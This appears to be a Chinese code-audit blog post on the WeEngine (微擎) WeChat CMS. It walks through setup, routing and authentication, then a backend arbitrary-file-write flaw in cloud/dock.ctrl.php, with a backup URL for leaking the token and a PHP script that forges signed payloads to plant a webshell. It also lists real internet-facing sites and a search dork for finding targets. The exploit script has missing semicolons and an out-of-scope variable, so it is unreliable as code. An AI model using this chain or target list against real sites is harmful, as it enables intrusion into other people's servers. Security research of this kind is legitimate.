0x01 目标熟悉

软件简介:微擎是宿州市微擎云计算有限公司开发的一款免费开源的微信公众号管理系统

官网地址:https://www.w7.cc/

开发文档https://wiki.w7.com/document/35/370中提到,源代码位于:https://gitee.com/we7coreteam/pros

根据在线文档https://wiki.w7.com/document中的更新公告,最新版是2.7.50

根据开源代码库https://gitee.com/we7coreteam/pros/tree/master/upgrade中的记录,最新版是2.7.9

网站搭建好后,在底部又发现最新版是2.7.108,有点奇怪

0x02 环境搭建

搭建微擎的过程中踩了很多坑,以下2个坑想搭建的师傅有个心理准备:

1 微擎的版本挺错乱的,下载后是2.7.108,结果搭建完成后底部却显示2.7.94,同样其他版本也是,下载时是一个版本,搭建后又是另一个版本

2 在官网上已经不再提供离线安装的版本,而且提供的安装包https://gitee.com/we7coreteam/pros也是很多功能不全,必须要在官网注册认证过了才能通过在线升级来获取到全部功能,有点让人无语

下面是对官网提供的安装脚本的安装演示,一开始使用mac下的php集成环境MAMP,结果在最后一步连接数据库的时候会有问题,这里改用windows下集成环境phpstudy,将项目放到phpstudy对应目录下,访问后按提示操作即可,搭建完成如下图
image-20221205225919717

访问目标地址,发现是已登录状态
image-20221205230926175

使用全新的浏览器访问目标地址,可看到未登录状态下首页如下图
image-20221205230806912

下图是踩坑时搭建的多个版本
image-20221208234726862
image-20221208235104390

0x03 互联网案例

1
2
3
4
5
6
7
8
https://www.zxida.com/web/
https://39.98.239.118/web/
https://www.cdwjsq.com/web/
https://mp.wxquan.cn/web/
http://49.234.65.194/web/
http://wx.mindmob.cn/web/

intitle:"微擎 - 公众平台自助引擎 - Powered by W7.CC"

0x04 开始审计

01 目录结构

源码下载到本地后,可以看到目录结构如下
image-20221206092703445

对上述目录结构解释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
addons             微擎模块
api 对接外部系统接口
app 微站 (Mobile / App)
data 存放配置文件
framework 微擎框架
payment 支付调用目录
tester 测试用例
upgrade 升级脚本
web 后台管理
api.php 微信api接口
console.php 命令行执行文件
index.php 系统入口
install.php 安装文件

attachment 附件目录

02 确定路由

当传入的URL请求中包含一个名为 cado 的 GET 参数,它即被视为一个路由,其中c为控制器(controller),a为操作(action),do为行为(do),且do是可选的,也就是不指定的话会使用默认行为,例如:

1
2
3
4
5
http://we7.cc/web/index.php?c=platform&a=menu&
则会路由至 /web/source/platform/menu.ctrl.php 文件中

http://we7.cc/app/index.php?c=mc&a=home&
则会路由至 /app/source/mc/home.ctrl.php 文件中

控制器以文件夹、文件的形式组织,位于系统的 source 目录下,每一个目录代表一个 controller ,文件夹中的每个文件即为一个 action。某些情况,一个action可能会包含多个操作,系统中提供 do 参数来用于区分同一个 action 中的不同操作

1
2
例如,extension为控制器,module为action,designer为该action下的某一个具体的do
http://pro.we7.cc/web/index.php?c=extension&a=module&do=designer

微擎中对于模块的访问,使用的路由会稍微不一样,当传入的 c 值为 “site”, a 值为 “entry”时则是一个模块路由,例如

1
2
3
4
5
http://we7.cc/web/index.php?c=site&a=entry&do=themeset&m=we7_demo
则会路由至 /addons/we7_demo/site.php 文件中的 doWebThemeset() 方法

http://we7.cc/app/index.php?i=1&j=2&c=entry&do=list&m=we7_demo
则会路由至 /addons/we7_demo/site.php 文件中的 doMobileList() 方法

03 确定鉴权

文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录结构如下
image-20221206153500089

其中入口文件为index.php,通读index.php后会发现,鉴权主要由如下代码实现
image-20221206153714847

可看到如果访问的是无需鉴权的接口,则直接跳到对应controller及action处,否则会调用checklogin(),也就是需要检查登录状态

其中$acl在上面被定义为

1
$acl = require IA_ROOT . '/web/common/permission.inc.php';

进入文件permission.inc.php可看到,控制器advertisement下面无可直接访问的action,控制器article下面notice-show,news-show,notice-news是可直接访问的
image-20221206155010265

依照此规律,可梳理出前台访问的接口,及后台访问的接口

04 前台漏洞

前台接口中暂未发现漏洞点

05 后台漏洞

漏洞1:已公开但无POC

漏洞出现在web/source/cloud/dock.ctrl.php
image-20221209092535245

简单讲述一下代码逻辑(搞懂逻辑,才能构造exp),根据之前的路由分析可知,传入的动作为download时,进入子句

传入的post数据如果进行了base64编码,则解码后赋值给data,否则直接赋值给data,对data进行反序列化,反序列化后先对数组中的file进行base64解码,再判断是否存在gzcompress和gzuncompress,存在的话再进行解压,最后赋值给file

从缓存中获取cloud_transtoken,并传入authcode进行解密,赋值给全局变量$_W中的setting->site->token,对file进行md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,最后赋值给string

如果全局变量$_W中的setting->site->token非空,且string进行md5加密后等于数组中的sign,则进入子句

判断数组中的path是否以”/web”或”/framework”开头,此处我们在构造数组中path的时候只需以”/“开头即可绕过,绕过后子句中构造数组path的全路径,最后调用file_put_contents写入webshell

这里有一个难点,就是从缓存中获取cloud_transtoken,全局搜索,通过分析发现,访问链接 http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456 进行数据库备份,则数据库备份文件的地址为:http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下

简单解释一下,调用项目中的函数authcode,传入cloud_transtoken,获取返回的值,根据之前分析的代码逻辑,反向构造原始数据包,并将payload嵌入其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5('' != $key ? $key : "62a37a4d");
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ('DECODE' == $operation ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = 'DECODE' == $operation ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; ++$i) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; ++$i) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; ++$i) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if ('DECODE' == $operation) {
if ((0 == substr($result, 0, 10) || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}

$cloud_transtoken = ""
$token = authcode($cloud_transtoken, "DECODE");

function build() {
$file = "aaa";
$path = "/test.txt"
$string = (md5($file) . $path . $token);
$sign = md5($string)

$file_ = gzcompress($file);
// print($file_);
$file__ = base64_encode($file_);
// print($file__);

$ret = array(
"file" => $file__,
"path" => $path,
"sign" => $sign
);

print(serialize($ret));
}

// build();

/*
$gz = function_exists('gzcompress') && function_exists('gzuncompress');
if ($gz) {
echo "yes";
} else {
echo "no";
}
*/

由于我这边是本地搭建的环境,站点无法注册,导致数据库备份后无cloud_transtoken,不能演示打poc过程,对于实际站点,获取cloud_transtoken后,可基于上述poc获取webshell

参考链接

微擎 CMS:从 SQL 到 RCE https://cnpanda.net/codeaudit/863.html
记一次从源代码泄漏到后台获取webshell的过程 https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/
代码审计之某通用商城系统getshell过程 https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA
微擎路由 https://www.kancloud.cn/donknap/we7/134629
微擎设置开发模式 https://www.kancloud.cn/tieniuweb/we7web/1431036
微擎加载器 https://www.kancloud.cn/donknap/we7/134628
离线安装包 http://www.log4cpp.com/learnother/17.html